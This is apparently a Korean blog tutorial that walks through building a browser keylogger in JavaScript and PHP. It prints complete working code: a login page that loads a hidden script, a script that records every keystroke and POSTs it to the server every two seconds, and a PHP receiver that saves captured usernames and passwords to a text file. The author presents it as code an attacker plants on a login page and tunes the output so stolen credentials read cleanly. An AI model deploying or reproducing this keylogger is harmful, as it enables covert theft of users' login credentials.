JS : Keylogger

DATE : 2023/11/18

Key Logger )

이번 POST에서는 JavaScript로 Key logger를 만들어보고자 한다.

여기서 Key logger는 사용자의 키 입력을 기록하는 프로그램을 의미한다!

살펴볼 코드는 사용자가 로그인을 하고자 username:password를 입력하는 동안

스리슬쩍 심어진 JS code가 모든 키보드 입력을 기록해 파일에 저장하는 흐름이다.

[ keylogger.html ]

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="./keylogger.js"></script>
</head>
<body>
    <input type="text" placeholder="username">
    <input type="password" placeholder="password">
</body>
</html>

사용자는 모르는 JS가 심어진 로그인 페이지이다.

[ keylogger.js ]

var keylogger = {
    log: [], 
    delay: 2000,

    init : () => {
      window.addEventListener("keydown", e => keylogger.log.push(e.key));
      window.setInterval(keylogger.send, keylogger.delay);
    },

    send : () => { if (keylogger.log.length !=0) {
      var data = new FormData();
      data.append("logs", JSON.stringify(keylogger.log));
      keylogger.log = [];

      fetch("keylogger.php", {method:"POST", body:data})
      .then(res=>res.text).catch(err => console.log(err));
    }}
};
window.addEventListener("DOMContentLoaded", keylogger.init);

keylogger.js의 역할은 사용자가 키보드를 입력할 것을 대비해 귀 기울이고 있다가

입력된 키를 log에 넣어 POST method로 keylogger.php에 보내는 것이라 정리할 수 있다.

코드를 좀 더 자세히 보면, 우선

log: [], 
delay: 2000,

(1) 사용자가 입력한 key를 넣을 log와 (2) 설정할 시간 편차 값 delay를 정의한다.

init : () => {
      window.addEventListener("keydown", e => keylogger.log.push(e.key));
      window.setInterval(keylogger.send, keylogger.delay);
},

화살표 함수로 정의한 init는 "keydown" 유형의 이벤트를 기다리고 있다가

이벤트가 발생하면 log에 입력된 key 값을 넣고(push) 함수send를 2초 간격(= delay)을 두고 실행한다.

addEventListener를 사용해 keydown 이벤트에 관한 함수를 정의한다는 건,

눌린 키가 무엇이었는지 기록해두는 탐지기를 만드는 것과 같다.

send : () => { if (keylogger.log.length !=0) {
      var data = new FormData();
      data.append("logs", JSON.stringify(keylogger.log));
      keylogger.log = [];

      fetch("keylogger.php", {method:"POST", body:data})
      .then(res=>res.text).catch(err => console.log(err));
}}

setInterval 함수에서 사용된 send 또한 init와 마찬가지로화살표 함수이다.

위에서 log.push()로 사용자가 입력한 키를 log에 적어둔 것을 기억할 것이다.

기록된 내용이 있어서 log의 길이가 0이 아니라면 이를 공격자에게 보내주기 위해

javascript 문자열을 JSON 문자열로 바꿔 logs라는 이름으로 data에 담아준다.

(= data.append("logs", JSON.stringify(keylogger.log) )

현재 기록해둔 log는 전달하기 위한 준비를 마쳤기 때문에 log를 다시 비워주고

post method로 data를 keylogger.php에 전달한다.

참고로 fetch 함수는 javascript에서 HTTP request를 보낼 때 사용하는 함수로

그 과정에 문제가 있다면 catch로 에러를 출력하도록 처리하였다.

[ keylogger.php ]

<?php
$file = fopen("keylog.txt", "a+");

$logs = json_decode($_POST["logs"]);
foreach ($logs as $k=>$v) {
    if(strlen($v) == 1) { 
        fwrite($file, $v);
    } else {
        fwrite($file, PHP_EOL . $v . PHP_EOL);
    }   
}

fclose($file);

공격자가 심어둔 key logger가 제대로 동작했다면 그 내용을 받은 PHP는

keylog.txt에 모든 내용을 저장하게 된다.

이때 fopen 함수는 첫 번째 인수로 전달된 이름의 파일을 여는 데

해당 파일이 존재하지 않는다면 주어진 이름의 파일을 생성한다.

JS에서 send function으로 POST method를 사용했기 때문에

KEY가 "logs"인 데이터를 찾아 JSON 문자열로 변환했던 값을 복원한다. (= json_decode)

이후 log에 적힌 내용을 하나씩 keylog.txt에 옮겨 적는데

그 문자가 한 글자라면 이어 적고, 한 글자가 아니라면 줄 바꿈을 포함한다.

key logger가 제대로 동작하는 지 확인해보기 위해 username:password를 입력해보면

keylogger.php가 있는 동일한 directory 상에 keylog.txt가 생성되고

사용자가 입력한 값이 그대로 저장되어 있는 걸 확인할 수 있다.

위에서 문자의 길이가 1인지 아닌지 확인한 이유는

일부 키는 Tab, Shift와 같이 입력되기 때문에 모든 log가 구분 없이 작성되면

한 눈에 의미 있는 값만 구별하기가 어려워지기 때문이다.

예를 들어, 모든 문자에 줄 바꿈이 들어가게 되면

이와 같이 username:password가 여러 줄에 걸쳐 작성되기 때문에

값을 바로 구별하고 사용하기엔 부적절한 형태라 할 수 있다.

아무튼!

Last updated